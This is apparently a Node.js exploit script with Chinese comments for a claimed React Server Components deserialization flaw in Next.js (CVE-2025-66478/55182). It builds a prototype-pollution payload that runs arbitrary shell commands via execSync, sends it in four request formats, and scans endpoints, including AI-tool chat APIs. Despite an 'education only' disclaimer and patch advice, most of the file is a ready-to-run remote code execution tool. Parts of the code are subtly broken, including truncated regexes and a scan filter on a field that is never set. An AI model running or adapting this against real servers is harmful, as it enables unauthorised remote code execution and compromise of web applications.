#!/usr/bin/env node /** * CVE-2025-66478 概念验证 * Next.js React Server Components RCE 漏洞 * * 这是一个概念验证脚本,演示了影响 Next.js 应用程序的 * React Server Components 反序列化漏洞。 * * 免责声明:此工具仅用于教育目的。请勿在未经授权的系统上使用。 */ const https = require('https'); const http = require('http'); const fs = require('fs'); const path = require('path'); class RSCExploit { constructor(targetUrl, options = {}) { this.targetUrl = targetUrl; this.options = { method: 'POST', headers: { 'Accept': '*/*', ...options.headers }, verbose: options.verbose || false, // 添加详细输出选项 ...options }; } /** * 生成利用反序列化漏洞的恶意 RSC 负载 * 漏洞发生在 React Server Components "Flight" 协议的处理过程中 * 根据 CVE-2025-66478 和 CVE-2025-55182 的技术细节 * * 该漏洞利用 React 反序列化中的不安全对象构造,通过原型污染触发代码执行 */ /** * 生成利用 CVE-2025-55182 的正确 payload * 基于 Flight 协议的原型污染漏洞 * 参考: https://github.com/Spritualkb/CVE-2025-55182-exp * * 漏洞机制: * 1. 通过 "$1:__proto__:then" 污染 Object.prototype.then * 2. 通过 "$1:constructor:constructor" 设置 _formData.get 为 Function 构造函数 * 3. 通过 _prefix 注入恶意代码 */ generateMaliciousPayload(command) { // 转义命令中的特殊字符 const cmd = command.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n'); // 构造恶意代码,通过 Function 构造函数执行命令 // 使用 try-catch 确保即使出错也能返回信息 const maliciousCode = ` try { const { execSync } = require('child_process'); const result = execSync("${cmd}", { encoding: 'utf8', timeout: 10000 }); return result.toString(); } catch(e) { return 'Error: ' + e.message; } `.trim(); // 正确的 CVE-2025-55182 payload 结构 // 使用 Flight 协议的引用格式来触发原型污染 // 参考: https://github.com/Spritualkb/CVE-2025-55182-exp const flightPayload = { // 污染 Object.prototype.then "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": JSON.stringify({"then": "$B1337"}), "_response": { // 注入恶意代码到 _prefix(这是关键部分) "_prefix": maliciousCode, "_chunks": "$Q2", // 通过引用设置 _formData.get 为 Function 构造函数 "_formData": { "get": "$1:constructor:constructor" } } }; // 方法4: 使用 Server Actions 格式(针对有 Server Actions 的应用) // Server Actions 使用不同的端点格式 // 注意:实际的 Server Actions 需要正确的 action ID(通常是文件路径的哈希) // 这里我们构造一个可能触发反序列化的 payload const serverActionPayload = { "0": flightPayload, // Server Actions 的格式:使用 action ID 和参数 // 实际的 action ID 需要从页面中提取,这里使用占位符 "1": { "id": "./actions", "name": "testAction", "args": [flightPayload] }, // 尝试直接使用 Flight payload 作为 Server Action 的参数 // 这可能在反序列化时触发漏洞 "$$action": flightPayload }; // 方法1: 使用 multipart/form-data 格式(RSC Flight 协议标准格式) const boundary = `----WebKitFormBoundary${Date.now()}`; const multipartBody = [ `--${boundary}`, 'Content-Disposition: form-data; name="0"', 'Content-Type: application/json', '', JSON.stringify(flightPayload), `--${boundary}--`, '' ].join('\r\n'); // 方法2: 直接使用 JSON 格式(某些端点可能接受) const jsonBody = JSON.stringify({ "0": flightPayload }); // 方法3: 使用 Flight 协议的文本格式(某些情况下可能更有效) const flightTextBody = JSON.stringify(flightPayload); // 方法4: Server Actions 格式 const serverActionBody = JSON.stringify(serverActionPayload); return { multipart: { body: multipartBody, boundary: boundary, contentType: `multipart/form-data; boundary=${boundary}` }, json: { body: jsonBody, contentType: 'application/json' }, flight: { body: flightTextBody, contentType: 'text/x-component' }, serverAction: { body: serverActionBody, contentType: 'application/json' } }; } /** * 发送单个请求 * @param {Object} payloadData - Payload 数据 * @param {string} format - 格式: 'multipart', 'json', 'flight' */ async sendRequest(payloadData, format = 'multipart') { const protocol = this.targetUrl.startsWith('https://') ? https : http; const url = new URL(this.targetUrl); let payload; if (format === 'multipart') { payload = payloadData.multipart; } else if (format === 'flight') { payload = payloadData.flight; } else if (format === 'serverAction') { payload = payloadData.serverAction; } else { payload = payloadData.json; } // 根据格式和端点决定使用哪些请求头 const baseHeaders = { ...this.options.headers, 'Content-Type': payload.contentType, 'Content-Length': Buffer.byteLength(payload.body), 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', 'Referer': url.origin + '/' }; // 根据端点类型添加不同的请求头 // 重要:完全移除 Next-Router-State-Tree 头,因为它会导致解析错误 const isRSCEndpoint = url.pathname.includes('_rsc') || url.pathname.includes('/rsc'); const isServerAction = url.pathname.includes('actions') || format === 'serverAction'; if (isRSCEndpoint) { // RSC 端点需要特定的请求头,但不发送 Next-Router-State-Tree baseHeaders['Accept'] = 'text/x-component'; baseHeaders['RSC'] = '1'; // 不发送 Next-Router-State-Tree,避免解析错误 baseHeaders['Next-Router-Prefetch'] = '1'; } else if (isServerAction) { // Server Actions 端点 baseHeaders['Accept'] = 'text/x-component'; baseHeaders['Content-Type'] = 'application/json'; // Server Actions 不需要 Next-Router-State-Tree } else { // 其他端点,使用标准请求头 baseHeaders['Accept'] = '*/*'; } // 确保不发送 Next-Router-State-Tree 头(可能导致解析错误) delete baseHeaders['Next-Router-State-Tree']; const requestOptions = { hostname: url.hostname, port: url.port || (protocol === https ? 443 : 80), path: url.pathname + (url.search || ''), method: this.options.method, headers: baseHeaders, ...(this.options.agent && { agent: this.options.agent }) }; return new Promise((resolve, reject) => { const req = protocol.request(requestOptions, (res) => { let responseData = ''; res.on('data', (chunk) => { responseData += chunk; }); res.on('end', () => { resolve({ statusCode: res.statusCode, headers: res.headers, data: responseData, format: format }); }); }); req.on('error', (error) => { reject(error); }); // 如果启用详细输出,显示请求信息 if (this.options.verbose) { console.log(`\n[DEBUG] 请求详情:`); console.log(` 方法: ${requestOptions.method}`); console.log(` 路径: ${requestOptions.path}`); console.log(` 请求头:`, JSON.stringify(requestOptions.headers, null, 2)); console.log(` Payload 大小: ${Buffer.byteLength(payload.body)} 字节`); if (Buffer.byteLength(payload.body) < 1000) { console.log(` Payload 内容:`, payload.body); } } req.write(payload.body); req.end(); }); } /** * 将漏洞利用负载发送到目标服务器 * 尝试多种 payload 格式和端点 */ async sendExploit(command) { console.log(`[*] 准备 CVE-2025-66478 漏洞利用`); console.log(`[*] 目标: ${this.targetUrl}`); console.log(`[*] 要执行的命令: ${command}`); const payloadData = this.generateMaliciousPayload(command); console.log(`[*] 生成了恶意 RSC payload (支持 multipart 和 JSON 格式)`); const results = []; // 尝试方法1: Server Actions 格式(最可能成功,因为不需要 Next-Router-State-Tree) console.log(`\n[*] 尝试方法 1: Server Actions 格式...`); try { const result1 = await this.sendRequest(payloadData, 'serverAction'); results.push(result1); console.log(`[*] 收到响应 (状态码: ${result1.statusCode}, 格式: serverAction)`); if (this.checkForCommandOutput(result1.data, command)) { console.log(`[+] 可能检测到命令执行结果!`); // 显示详细分析 this.analyzeResponse(result1, command); return result1; } } catch (error) { console.log(`[-] Server Actions 格式请求失败: ${error.message}`); } // 尝试方法2: Flight 协议格式 console.log(`\n[*] 尝试方法 2: Flight 协议格式 (text/x-component)...`); try { const result2 = await this.sendRequest(payloadData, 'flight'); results.push(result2); console.log(`[*] 收到响应 (状态码: ${result2.statusCode}, 格式: flight)`); if (this.checkForCommandOutput(result2.data, command)) { console.log(`[+] 可能检测到命令执行结果!`); // 显示详细分析 this.analyzeResponse(result2, command); return result2; } } catch (error) { console.log(`[-] Flight 格式请求失败: ${error.message}`); } // 尝试方法3: multipart/form-data 格式 console.log(`\n[*] 尝试方法 3: multipart/form-data 格式...`); try { const result3 = await this.sendRequest(payloadData, 'multipart'); results.push(result3); console.log(`[*] 收到响应 (状态码: ${result3.statusCode}, 格式: multipart)`); if (this.checkForCommandOutput(result3.data, command)) { console.log(`[+] 可能检测到命令执行结果!`); // 显示详细分析 this.analyzeResponse(result3, command); return result3; } } catch (error) { console.log(`[-] multipart 格式请求失败: ${error.message}`); } // 尝试方法4: JSON 格式 console.log(`\n[*] 尝试方法 4: JSON 格式...`); try { const result4 = await this.sendRequest(payloadData, 'json'); results.push(result4); console.log(`[*] 收到响应 (状态码: ${result4.statusCode}, 格式: JSON)`); if (this.checkForCommandOutput(result4.data, command)) { console.log(`[+] 可能检测到命令执行结果!`); // 显示详细分析 this.analyzeResponse(result4, command); return result4; } } catch (error) { console.log(`[-] JSON 格式请求失败: ${error.message}`); } // 返回最佳结果 const bestResult = results.find(r => r.statusCode === 200) || results.find(r => r.statusCode === 500) || results[0]; if (bestResult) { console.log(`\n${'='.repeat(60)}`); console.log(`[*] 最终响应分析`); console.log(`${'='.repeat(60)}`); console.log(`[*] 状态码: ${bestResult.statusCode}`); console.log(`[*] 响应大小: ${bestResult.data.length} 字节`); console.log(`[*] 内容类型: ${bestResult.headers['content-type'] || '未知'}`); console.log(`[*] 使用的格式: ${bestResult.format || '未知'}`); // 详细分析响应内容 this.analyzeResponse(bestResult, command); } return bestResult || { statusCode: 0, data: '', headers: {} }; } /** * 详细分析响应内容 */ analyzeResponse(result, command) { if (!result || !result.data) { console.log(`\n[-] 无响应数据`); return; } const data = result.data; console.log(`\n[*] 响应内容分析:`); console.log(`-`.repeat(60)); // 尝试提取命令输出 const extractedOutput = this.extractCommandOutput(data, command); if (extractedOutput.found && extractedOutput.output.length > 0) { // 验证提取的输出不是常见的错误信息 const validOutput = extractedOutput.output.filter(line => { const lowerLine = line.toLowerCase().trim(); return !['internal', 'server', 'error', '500', 'internal server error'].includes(lowerLine) && lowerLine.length > 1; }); if (validOutput.length > 0) { // 根据置信度显示不同的消息 const confidenceEmoji = { 'high': '✅', 'medium': '⚠️', 'low': '❓' }; const confidenceText = { 'high': '高置信度', 'medium': '中等置信度', 'low': '低置信度' }; console.log(`\n${confidenceEmoji[extractedOutput.confidence] || '⚠️'} 检测到命令执行结果 (${confidenceText[extractedOutput.confidence] || '未知'})!`); console.log(`[+] 命令输出:`); console.log(`${'='.repeat(60)}`); validOutput.forEach(line => { console.log(` ${line}`); }); console.log(`${'='.repeat(60)}`); // 如果置信度高,明确标记为成功 if (extractedOutput.confidence === 'high') { console.log(`\n🎉 漏洞利用成功!命令已执行!`); } else { console.log(`\n⚠️ 可能成功,但需要进一步验证`); } } else { // 没有找到有效的命令输出,显示完整响应 console.log(`\n[-] 未检测到明确的命令执行结果`); console.log(`[*] 显示完整响应内容以供分析:`); this.showFullResponse(data); } } else { // 显示完整的响应内容(用于调试) this.showFullResponse(data); // 提供分析建议和成功判断标准 console.log(`\n[!] 成功判断标准:`); console.log(` ✅ 高置信度成功指标:`); console.log(` - 响应中包含命令的预期输出(如 whoami 返回用户名)`); console.log(` - 响应中包含命令执行的结果(如 ls 返回文件列表)`); console.log(` - 响应中包含命令执行的错误信息(说明命令被执行了)`); console.log(` ⚠️ 中等置信度指标:`); console.log(` - 状态码 500 且响应中包含非标准错误信息`); console.log(` - 响应中包含可能的命令输出片段`); console.log(` ❌ 失败指标:`); console.log(` - 状态码 404(端点不存在)`); console.log(` - 状态码 405(方法不允许)`); console.log(` - 响应只包含标准错误页面`); console.log(`\n[!] 当前响应分析:`); if (result.statusCode === 500) { console.log(` - 状态码 500: 服务器处理了请求但出错`); console.log(` - 可能: 命令已执行,但输出在错误信息中`); console.log(` - 建议: 仔细检查上面的响应内容,查找命令输出`); } else if (result.statusCode === 200) { console.log(` - 状态码 200: 请求成功`); console.log(` - 可能: 命令已执行,输出在响应中`); console.log(` - 建议: 检查响应内容中是否包含命令执行结果`); } else if (result.statusCode === 404) { console.log(` - 状态码 404: 端点不存在`); console.log(` - 建议: 尝试其他端点或使用 --scan 模式`); } else if (result.statusCode === 405) { console.log(` - 状态码 405: 方法不允许`); console.log(` - 建议: 端点存在但不接受 POST,可能需要不同的请求格式`); } else { console.log(` - 状态码 ${result.statusCode}: 需要进一步分析`); } } // 显示响应头信息(可能有用的调试信息) if (Object.keys(result.headers).length > 0) { console.log(`\n[*] 响应头信息:`); Object.entries(result.headers).slice(0, 10).forEach(([key, value]) => { console.log(` ${key}: ${value}`); }); } } /** * 显示完整响应内容 */ showFullResponse(data) { console.log(`\n[*] 完整响应内容:`); console.log(`${'='.repeat(60)}`); // 如果是 HTML,尝试提取文本内容 if (data.includes(']*>[\s\S]*?<\/script>/gi, '') .replace(/]*>[\s\S]*?<\/style>/gi, '') .replace(/<[^>]+>/g, ' ') .replace(/\s+/g, ' ') .trim(); if (textContent.length > 0 && textContent !== 'Internal Server Error') { console.log(`[HTML 文本内容]:`); console.log(textContent.substring(0, 1000) + (textContent.length > 1000 ? '...' : '')); } // 也显示原始 HTML(完整内容,最多 5000 字符) console.log(`\n[原始 HTML 响应]:`); const displayLength = Math.min(data.length, 5000); console.log(data.substring(0, displayLength)); if (data.length > displayLength) { console.log(`\n... (响应过长,已截断,总长度: ${data.length} 字节)`); } } else { // 非 HTML 响应,直接显示(完整内容,最多 5000 字符) const displayLength = Math.min(data.length, 5000); console.log(data.substring(0, displayLength)); if (data.length > displayLength) { console.log(`\n... (响应过长,已截断,总长度: ${data.length} 字节)`); console.log(`[提示] 完整响应可能包含命令输出,请仔细检查`); } } console.log(`${'='.repeat(60)}`); } /** * 从响应中提取命令输出 */ extractCommandOutput(responseData, command) { if (!responseData || typeof responseData !== 'string') { return { found: false, output: [], confidence: 'none' }; } const output = []; let found = false; let confidence = 'low'; // 'high', 'medium', 'low', 'none' // 提取命令关键词(用于匹配) const cmdLower = command.toLowerCase(); const isEcho = cmdLower.includes('echo'); const isWhoami = cmdLower.includes('whoami'); const isLs = cmdLower.includes('ls'); const isPwd = cmdLower.includes('pwd'); const isId = cmdLower.includes('id'); const isCat = cmdLower.includes('cat'); // 2. 尝试从 HTML 中提取文本内容 let textContent = responseData; if (responseData.includes('<')) { // 移除 HTML 标签 textContent = responseData .replace(/]*>[\s\S]*?<\/script>/gi, '') .replace(/]*>[\s\S]*?<\/style>/gi, '') .replace(/<[^>]+>/g, ' ') .replace(/\s+/g, ' ') .trim(); } // 3. 尝试解析 JSON 响应 try { const jsonData = JSON.parse(responseData); const jsonStr = JSON.stringify(jsonData, null, 2); // 在 JSON 中查找可能的命令输出 if (jsonStr.length < 5000) { textContent += '\n' + jsonStr; } } catch (e) { // 不是 JSON,继续 } // 4. 查找可能的命令输出(排除常见的 HTML/错误信息) const excludePatterns = [ /^Internal Server Error$/i, /^Error 500$/i, /^ { line = line.trim(); if (line.length === 0 || line.length > 200) return false; // 排除明显的错误信息(完全匹配) if (excludePatterns.some(pattern => pattern.test(line))) { return false; } // 排除只包含单个常见错误词的 if (/^(Internal|Server|Error|500)$/i.test(line)) { return false; } // 查找可能的命令输出(包含字母数字字符,但不是纯数字或纯符号) // 必须包含至少一个字母,且不是纯 HTML 标签 if (/^[a-zA-Z0-9_\-\.\/\s:]+$/.test(line) && /[a-zA-Z]/.test(line) && !line.startsWith('<')) { // 进一步过滤:排除明显的 HTML 片段 if (!line.match(/^<[^>]+>/) && line.length >= 2) { return true; } } return false; }); if (lines.length > 0) { found = true; output.push(...lines.slice(0, 20)); // 最多显示 20 行 } // 6. 特殊处理:根据具体命令查找输出 if (isEcho) { // echo 命令:查找命令参数中的内容 const echoMatch = command.match(/echo\s+(.+)/i); if (echoMatch) { const expectedOutput = echoMatch[1].replace(/^["']|["']$/g, '').trim(); if (textContent.includes(expectedOutput) && !textContent.includes('echo')) { found = true; confidence = 'high'; output.push(`找到 echo 输出: ${expectedOutput}`); } } } if (isWhoami) { // whoami 命令:查找用户名 const userPattern = /(?:^|\s|>)(root|admin|user|nobody|daemon|www-data|apache|nginx|nextjs|node|[\w\-]{2,20})(?:\s|$|<)/i; const matches = textContent.match(userPattern); if (matches && matches.length > 0) { const username = matches.find(m => !['html', 'body', 'div', 'span', 'script', 'style', 'head', 'meta'].includes(m.toLowerCase()) ); if (username && username.length > 1) { found = true; confidence = 'high'; output.push(`找到用户名: ${username.trim()}`); } } } if (isLs) { // ls 命令:查找文件列表 const lsPattern = /(?:^|\n)(bin|boot|dev|etc|home|lib|opt|proc|root|run|sbin|sys|tmp|usr|var|app|\.next|node_modules)[\s\n]/i; if (lsPattern.test(textContent)) { const matches = textContent.match(lsPattern); if (matches && matches.length > 0) { found = true; confidence = 'high'; matches.slice(0, 10).forEach(match => { if (!output.includes(match.trim())) { output.push(match.trim()); } }); } } } if (isPwd) { // pwd 命令:查找路径 const pwdPattern = /(?:^|\s)(\/[a-zA-Z0-9_\-\.\/]+)(?:\s|$)/; const matches = textContent.match(pwdPattern); if (matches && matches.length > 0) { const path = matches.find(m => m.startsWith('/') && m.length > 1); if (path) { found = true; confidence = 'high'; output.push(`找到路径: ${path.trim()}`); } } } if (isId) { // id 命令:查找 uid/gid const idPattern = /(?:uid|gid|groups?)\s*=\s*[0-9]+/i; if (idPattern.test(textContent)) { found = true; confidence = 'high'; const matches = textContent.match(idPattern); if (matches) { output.push(...matches.slice(0, 5)); } } } // 7. 查找命令执行错误的输出(这也说明命令被执行了) const errorPatterns = [ /Error: Command failed/i, /Command executed/i, /execSync.*timeout/i, /child_process.*exec/i ]; if (errorPatterns.some(pattern => pattern.test(textContent))) { found = true; if (confidence === 'none') confidence = 'medium'; } // 8. 查找明显的命令输出(非 HTML/错误信息) const cleanLines = textContent .split(/\n|\r\n?/) .map(line => line.trim()) .filter(line => { if (line.length < 2 || line.length > 200) return false; if (line.match(/^(Internal|Server|Error|404|405|500)$/i)) return false; if (line.match(/^ 0 && cleanLines.length < 50) { found = true; if (confidence === 'none') confidence = 'medium'; output.push(...cleanLines.slice(0, 20)); } return { found, output: [...new Set(output)].slice(0, 20), confidence }; } /** * 检查响应中是否包含命令执行结果 */ checkForCommandOutput(responseData, command) { const extracted = this.extractCommandOutput(responseData, command); return extracted.found; } /** * 尝试不同的端点 */ async tryEndpoint(endpoint, command = 'echo "test"') { const originalUrl = this.targetUrl; const baseUrl = new URL(this.targetUrl); const testUrl = new URL(endpoint, baseUrl.origin).href; // 临时更改目标 URL this.targetUrl = testUrl; try { const response = await this.sendExploit(command); return { endpoint, url: testUrl, statusCode: response.statusCode, hasRSCIndicators: this.hasRSCIndicators(response), responseLength: response.data?.length || 0 }; } catch (error) { return { endpoint, url: testUrl, error: error.message, hasRSCIndicators: false }; } finally { // 恢复原始 URL this.targetUrl = originalUrl; } } /** * 检查响应是否具有 RSC 特征 */ hasRSCIndicators(response) { if (!response) return false; const isUsefulStatusCode = response.statusCode === 200 || response.statusCode === 500; if (!isUsefulStatusCode) return false; const data = response.data || ''; const headers = response.headers || {}; return ( data.includes('react-server-components') || data.includes('RSC') || data.includes('Flight') || headers['x-nextjs-data'] || headers['content-type']?.includes('application/json') || headers['content-type']?.includes('text/x-component') ); } /** * 扫描可能接受 RSC 负载的易受攻击端点 */ async scanVulnerableEndpoints() { // 常见 Next.js RSC 端点 // 特别针对 Dify 等 AI 工具(这些工具使用 Next.js App Router) const commonEndpoints = [ // 标准 RSC 端点 '/_rsc', '/api/rsc', '/app/api/rsc', // Server Actions 端点 '/server-actions', '/api/server-actions', '/action', '/api/action', // Next.js 内部端点 '/_next/data/test/page.json', '/_next/server/chunks/app/test.js', // Dify 和其他 AI 工具常见端点 '/api/chat', '/api/completion', '/api/v1/chat', '/api/v1/completion', '/api/console/api/chat', '/api/console/api/completion', // 其他可能的端点 '/api/stream', '/api/query', '/api/run' ]; console.log('[*] 扫描可能易受攻击的 RSC 端点...'); console.log(`[*] 基础 URL: ${this.targetUrl}\n`); const results = []; for (const endpoint of commonEndpoints) { console.log(`[*] 测试端点: ${endpoint}`); const result = await this.tryEndpoint(endpoint, 'echo "test"'); results.push(result); if (result.hasRSCIndicators) { console.log(`[+] 发现潜在的 RSC 端点: ${endpoint} (状态码: ${result.statusCode})`); } else if (result.error) { console.log(`[-] 端点 ${endpoint} 测试失败: ${result.error}`); } else { console.log(`[-] 端点 ${endpoint} 不是易受攻击的 RSC 端点 (状态码: ${result.statusCode})`); } // 在请求之间添加延迟 await new Promise(resolve => setTimeout(resolve, 500)); } return results; } } /** * 演示漏洞利用的主函数 */ async function main() { console.log('='.repeat(60)); console.log('CVE-2025-66478 漏洞利用演示 - Next.js RSC 反序列化漏洞'); console.log('='.repeat(60)); console.log('这是一个仅用于教育目的的概念验证。'); console.log('请勿在未经授权的系统上使用。'); console.log('='.repeat(60)); // 示例用法 if (process.argv.length < 3) { console.log('\n用法: node exploit.js <目标URL> [命令] [选项]'); console.log('示例: node exploit.js https://target.com/_rsc "ls -la"'); console.log('\n扫描模式: node exploit.js <目标URL> --scan'); console.log('详细输出: node exploit.js <目标URL> <命令> --verbose'); process.exit(1); } const targetUrl = process.argv[2]; const command = process.argv[3] || 'echo "CVE-2025-66478 漏洞利用演示"'; const isScanMode = command === '--scan'; const isVerbose = process.argv.includes('--verbose') || process.argv.includes('-v'); const exploit = new RSCExploit(targetUrl, { verbose: isVerbose }); if (isScanMode) { console.log('\n[*] 开始漏洞扫描模式...'); const results = await exploit.scanVulnerableEndpoints(); console.log('\n[*] 扫描结果摘要:'); console.log('-'.repeat(40)); const vulnerableEndpoints = results.filter(r => r.isPotentiallyVulnerable); if (vulnerableEndpoints.length > 0) { console.log(`[!] 发现 ${vulnerableEndpoints.length} 个潜在的易受攻击端点:`); vulnerableEndpoints.forEach(endpoint => { console.log(` - ${endpoint.endpoint} (状态: ${endpoint.statusCode})`); }); } else { console.log('[-] 未检测到明显的易受攻击端点。'); } console.log('\n[*] 注意: 此扫描不全面。应用程序仍可能存在漏洞。'); } else { console.log('\n[*] 开始漏洞利用模式...'); try { let result = await exploit.sendExploit(command); // 如果当前端点失败,尝试其他常见端点(特别针对 Dify 等 AI 工具) if (!result || result.statusCode === 404 || result.statusCode === 405) { console.log('\n[*] 当前端点可能不正确,尝试其他常见端点...'); // 首先尝试 Server Actions 端点(Next.js 15 格式) const baseUrl = new URL(targetUrl); const serverActionUrl = new URL('/?/actions', baseUrl.origin).href; console.log(`\n[*] 尝试 Server Actions 端点: ${serverActionUrl}`); try { const saExploit = new RSCExploit(serverActionUrl, { verbose: isVerbose }); result = await saExploit.sendExploit(command); if (result && (result.statusCode === 200 || result.statusCode === 500)) { console.log(`[+] 在 Server Actions 端点上收到响应!`); } } catch (error) { console.log(`[-] Server Actions 端点失败: ${error.message}`); } // 如果 Server Actions 也失败,尝试其他端点 if (!result || result.statusCode === 404 || result.statusCode === 405) { const alternativeEndpoints = [ // 直接访问根路径 '/', // 标准 RSC 端点 '/_rsc', '/api/rsc', // AI 工具端点 '/api/chat', '/api/completion', '/api/v1/chat', '/api/console/api/chat' ]; for (const endpoint of alternativeEndpoints) { const testUrl = new URL(endpoint, baseUrl.origin).href; console.log(`\n[*] 尝试端点: ${testUrl}`); try { const altExploit = new RSCExploit(testUrl, { verbose: isVerbose }); result = await altExploit.sendExploit(command); if (result && (result.statusCode === 200 || result.statusCode === 500)) { console.log(`[+] 在端点 ${endpoint} 上收到响应!`); break; } } catch (error) { console.log(`[-] 端点 ${endpoint} 失败: ${error.message}`); } } } } console.log('\n[*] 漏洞利用完成。'); // 详细分析已在 sendExploit 中的 analyzeResponse 方法完成 } catch (error) { console.error('[-] 漏洞利用失败:', error.message); console.error('[-] 错误堆栈:', error.stack); } } console.log('\n[*] 请立即修补您的 Next.js 应用程序!'); console.log('[*] 推荐版本: >= 15.0.5, >= 15.1.9, >= 15.2.6, >= 15.3.6, >= 15.4.8, >= 15.5.7, >= 16.0.7'); } // 运行主函数 if (require.main === module) { main().catch(console.error); } module.exports = { RSCExploit };